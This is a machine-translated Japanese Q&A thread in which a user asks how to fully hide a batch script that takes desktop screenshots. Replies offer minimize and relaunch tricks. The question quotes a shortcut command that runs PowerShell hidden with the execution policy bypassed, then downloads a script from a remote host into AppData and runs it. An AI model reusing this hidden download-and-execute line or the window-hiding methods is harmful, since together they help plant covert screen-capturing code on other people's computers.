2017-08-14 8 views
0

お時間をいただきありがとうございます。(バッチスクリプト) - デスクトップのスクリーンショット(機能的ですが)を最小化することはできませんか?

デスクトップのスクリーンショットを取るバッチスクリプト(bat1.cmd)を見つけて編集しました。すべてが実際にうまくいっています。ここに私の完全なコード= https://pastebin.com/KvqgFx5Lがあります。

ここで私の唯一のリクエストはです。bat1.cmdウィンドウを非表示/最小化します(メッセージの最後に「lnk」内に「NB」を入れてください)。

私はいくつかの研究を行い、古典的な解決策は、スクリプトのこの種を使用することです:

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit 

または

if not "%minimized%"=="" goto :minimized 
set minimized=true 
start /min cmd /C "%~dpnx0" 
goto :EOF 
:minimized 

残念ながら私のバッチスクリプト(bat1.cmd)ない特別なパラメータを持っていますこの種の「最小化」スクリプトを追加する(私は上に、スクリプトなどの中に追加しようとしましたが、何も動作しません)。

NB:バッチスクリプト(bat1.cmd)はショートカット(bat1.lnk)内で実行されませんが、lnkで最小化されたパラメータを追加してもbat1.cmdウィンドウは最小化されません。 )。

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://host.com/bat1.cmd','%APPDATA%\bat1.cmd');Start('%APPDATA%\bat1.cmd'); 

ご協力いただきありがとうございます。

+0

私は車輪を再発明しようとしませんでした - 私は[cmdow](https://ritchielawrence.github.io/cmdow/)を使ってこのことをお勧めします。 – LotPings

答えて

0

私は解決策を見つけました。バッチ@echo offの後に、最上部に「最小化」コードを追加します。それは大丈夫だと思いますか?ウィンドウは0.1秒間表示され、最小化されます。 それは完全に隠される方法はありません?私はすでにウィンドウサイズの列/行を減らしました。私はウィンドウの位置を変更できるかどうか疑問に思います(サードパーティのツールなし)?

// 2>nul||@goto :batch 
/* 
:batch 
@echo off 

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit 
+0

最後の行を 'If Not Defined IS_MINIMIZED(Set" IS_MINIMIZED = 1 ")'と読み替えてください。ここで ''は不要な '&&'を '&'に置き換えるコマンドです。 – Compo

関連する問題